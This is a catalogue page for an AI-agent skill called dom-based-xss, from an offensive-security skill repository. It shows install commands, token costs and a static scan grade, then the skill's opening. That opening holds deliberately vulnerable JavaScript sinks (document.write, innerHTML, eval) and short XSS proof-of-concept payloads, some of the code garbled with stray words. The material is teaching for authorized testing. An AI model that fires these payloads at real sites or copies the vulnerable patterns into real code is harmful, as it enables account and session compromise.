Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/dom-based-xssWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/dom-based-xss)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/dom-based-xss"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/dom-based-xss/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/dom-based-xss"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/dom-based-xss.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00064 | $0.01080 |
| Opus 5 | $0.00032 | $0.00540 |
| Sonnet 5 | $0.00013 | $0.00216 |
| Haiku 4.5 | $0.00006 | $0.00108 |
Grade A, and why
dom-based-xss scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
100% identical to dom-based-xss — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 126 lines — stays where its author put it; the contents beside it link to each section on GitHub.
DOM-Based XSS
When to Use
- When auditing modern Single Page Applications (SPAs) built with frameworks like React, Angular, or purely complex vanilla JavaScript.
- When searching for client-side vulnerabilities where user input is processed directly in the browser (e.g., via
location.hash,window.name, ordocument.referrer).
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Understanding DOM XSS
# Concept: DOM XSS ```
### Phase 2: Identifying Sources and Sinks
```text
# Common Sources ```
### Phase 3: Exploitation Examples
```javascript
# Example 1: `document.write` // VULNERABLE CODE let query = new URLSearchParams(window.location.search).get('q');
document.write("Results for: " + query); // SINK
// EXPLOIT target.com/search?q=<script>alert(1)</script>
# Example 2: `innerHTML` VULNERABLE CODE let hash = window.location.hash.slice(1);
document.getElementById('profile').innerHTML = decodeURIComponent(hash); // SINK
// EXPLOIT intelligenty // target.com/#<img%20src=x%20onerror=alert(document.domain)>
# Example 3: `eval()` VULNERABLE CODE let data = window.name;
eval("var x = " + data); // SINK
// EXPLOIT superbly // window.name = "1; alert('XSS') //";
// window.location = "http://target.com/vuln";
Decision Point 🔀
flowchart TD
A[Map Sources ] --> B{Valid Sink? ]}
B -->|Yes| C[Craft Payload ]
B -->|No| D[Find Others ]
C --> E[Execute ]
🔵 Blue Team Detection & Defense
- Context-Aware Encoding: Safe APIs: Key Concepts | Concept | Description | |---------|-------------|
Output Format
Dom Based Xss — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 126 lines · 64 tokens per session scan A 0e14542458fc
dom-based-xss is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 64 tokens to every session and 1,080 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. It is 100% identical to dom-based-xss, differing in 0 lines, and is treated as a copy.
Other skills, from other repositories
dom-based-xss
Exploit Document Object Model (DOM) Based Cross-Site Scripting (XSS) vulnerabilities. Unlike Reflected or Stored XSS, the attack payload is executed purely on the client-side as a result of modifying the DOM environment, often without the payload ever reaching the backend server.
javascript-prototype-pollution
Identify and exploit Prototype Pollution vulnerabilities in JavaScript applications to achieve client-side Cross-Site Scripting (XSS), bypass authentication, or execute Remote Code Execution (RCE) on Node.js servers by manipulating the core Object prototype.
dom-based-cross-site-scripting-xss
Identify and exploit DOM-based Cross-Site Scripting (XSS) vulnerabilities where malicious payloads are executed entirely within the victim's browser via insecure JavaScript execution, often bypassing server-side WAFs completely.
http-request-smuggling-te-te
Exploit advanced HTTP Request Smuggling combining Transfer-Encoding vulnerabilities (TE.TE). By obscuring the Transfer-Encoding header, an attacker forces desynchronization between a frontend proxy (which processes the request one way) and the backend server (which processes it another way), allowing the smuggling of…
django-sql-injection
Identify and exploit SQL Injection vulnerabilities in Django applications, specifically focusing on edge cases involving raw querysets (RawSQL), improper use of .extra(), and poorly sanitized filters where Django's typical ORM protections are bypassed.
detecting-xss-vulnerabilities-in-web-apps
Detect reflected, stored, and DOM-based Cross-Site Scripting (XSS) vulnerabilities in web applications using manual payloads and browser-based analysis inside isolated lab environments. Covers OWASP A03 injection and sanitization bypass.